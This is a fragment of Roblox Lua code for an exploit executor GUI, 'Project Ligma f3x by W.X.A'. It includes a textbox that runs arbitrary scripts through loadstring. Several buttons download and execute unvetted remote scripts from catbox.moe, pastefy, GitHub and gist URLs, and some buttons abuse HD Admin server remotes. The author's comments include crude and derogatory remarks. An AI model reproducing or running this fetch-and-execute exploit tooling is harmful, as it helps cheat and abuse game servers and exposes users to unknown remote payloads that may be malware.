		TextLabel_2.Size = UDim2.new(0, 269, 0, 90)
		TextLabel_2.Font = Enum.Font.SourceSansBold
		TextLabel_2.LineHeight = 1.100
		TextLabel_2.Text = "Project Ligma f3x by W.X.A Run scripts live without filthy modules or converting!                                                              Use the external program to execute scripts.                                                                                                                                                                 Status: Injected"
		TextLabel_2.TextColor3 = Color3.fromRGB(0, 0, 0)
		TextLabel_2.TextScaled = true
		TextLabel_2.TextSize = 15.000
		TextLabel_2.TextTransparency = 1.000
		TextLabel_2.TextWrapped = true
	
		-- Scripts:
	
		local function OLFCRNW_fake_script() -- execute.execrip 
			local script = Instance.new('Script', execute)
			loadstring(script.Parent.Parent.TextBox.Text)()
		end
		coroutine.wrap(OLFCRNW_fake_script)()
		local function UGLYR_fake_script() -- clear.clerscrip 
			local script = Instance.new('Script', clear)
	
			script.Parent.MouseButton1Click:Connect(function(plr)
				script.Parent.Parent.TextBox.Text = " "
			end)
		end
		coroutine.wrap(UGLYR_fake_script)()
		local function YRHUUF_fake_script() -- Frame.drag 
			local script = Instance.new('LocalScript', Frame)
	
			script.Parent.Draggable = true
		end
		coroutine.wrap(YRHUUF_fake_script)()
		local function RGKBZD_fake_script() -- exit.excrip 
			local script = Instance.new('Script', exit)
	
			script.Parent.MouseButton1Click:Connect(function()
				script.Parent.Parent.Parent:Destroy()
			end)
		end
		coroutine.wrap(RGKBZD_fake_script)()
		local function TWYE_fake_script() -- gcg.gcgs 
			local script = Instance.new('LocalScript', gcg)
	
			script.Parent.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
				loadstring(game:HttpGet("https://raw.githubusercontent.com/esivydkin-eng/nyxes-F3X-gui-original-source/refs/heads/main/NYXES%20F3X%20GUI%20V2"))(true)
	
			end)
		end
		coroutine.wrap(TWYE_fake_script)()
		local function DVROF_fake_script() -- gguns.gguns 
			local script = Instance.new('LocalScript', gguns)
	
			script.Parent.MouseButton1Click:Connect(function()
				rq:InvokeServer(";shirt me 1313573671")
				rq:InvokeServer(";pants me 6458756358")
				loadstring(game:HttpGet("https://files.catbox.moe/o5iwhr.txt"))()
			end)
		end
		coroutine.wrap(DVROF_fake_script)()
		local function XZQXAR_fake_script() -- infyield.iys 
			local script = Instance.new('LocalScript', infyield)
	
			script.Parent.MouseButton1Click:Connect(function()
				loadstring(game:HttpGet"https://pastefy.app/Qg93HAkl/raw")()
			end)
		end
		coroutine.wrap(XZQXAR_fake_script)()
		local function FNVRQD_fake_script() -- oneg.onegs 
			local script = Instance.new('LocalScript', oneg)
	
			script.Parent.MouseButton1Click:Connect(function()
				loadstring(game:HttpGet"https://files.catbox.moe/jie1d1.txt")()
			end)
		end
		coroutine.wrap(FNVRQD_fake_script)()
		local function TKTEZTF_fake_script() -- cmess.cmessS 
			local script = Instance.new('LocalScript', cmess)
	
			script.Parent.MouseButton1Click:Connect(function()
		--[[
		WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
	]]
	--[[
		By W.X.A (me)
	    Aka valeratter
	    Gayest script ever
	]]
	
				loadstring(game:HttpGet("https://raw.githubusercontent.com/KryptIT/relgai/refs/heads/main/wellnoshitsherlockthisworksrealbtwf3xmango67bycityboijkbyW.X.A.lua"))()
			end)
		end
		coroutine.wrap(TKTEZTF_fake_script)()
		local function DSSE_fake_script() -- ligmaXD.IntroTween 
			local script = Instance.new('LocalScript', ligmaXD)
	
			local img = script.Parent.ImageLabel
			local TweenService = game:GetService("TweenService")
			local txt = img.TextLabel
			wait(1)
			img:TweenPosition(UDim2.new(0.458, 0, 0.408, 0), "Out", "Linear", 0.4, false)
			wait(3)
			img:TweenPosition(UDim2.new(0.01, 0, 0.813, 0), "Out", "Sine", 0.7, false)
			wait(1)
			TweenService:Create(txt, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["BackgroundTransparency"] = 0}):Play()
			TweenService:Create(txt, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["TextTransparency"] = 0}):Play()
	
			for i,v in pairs(game.Players:GetPlayers()) do
				if v.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then -- R6 detection
					btn.BackgroundTransparency = 1
					btn.TextTransparency = 1
				elseif v.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then -- R15 detection
					TweenService:Create(btn, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["BackgroundTransparency"] = 0}):Play()
					TweenService:Create(btn, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["TextTransparency"] = 0}):Play()
				end
			end
			wait(2)
			while wait() do
				for i,v in pairs(game.Players:GetPlayers()) do
					if v.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then
						btn.Transparency = 1
					elseif v.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then
						btn.Transparency = 0
					end
				end
			end
		end
		coroutine.wrap(DSSE_fake_script)()
	end)
end;
task.spawn(C_57);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_59()
local script = G2L["59"];
	script.Parent.MouseButton1Click:Connect(function()
		loadstring(game:HttpGet("https://pastefy.app/o5B2BC2O/raw"))()
	end)
end;
task.spawn(C_59);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_5b()
local script = G2L["5b"];
	script.Parent.MouseButton1Click:Connect(function()
		loadstring(game:HttpGet("https://files.catbox.moe/jie1d1.txt"))()
	end)
end;
task.spawn(C_5b);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_5d()
local script = G2L["5d"];
	script.Parent.MouseButton1Click:Connect(function()
		loadstring(game:HttpGet"https://gist.githubusercontent.com/KryptIT/eca10bc724885c0892a9e4cd16eb5846/raw/cdc0e5ffbe14680a7eba97ce9874391a07de78b7/tuff.lua")()
	end)
end;
task.spawn(C_5d);
-- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript
local function C_5f()
local script = G2L["5f"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";r6")
	end)
end;
task.spawn(C_5f);

return G2L["1"], require;
INFO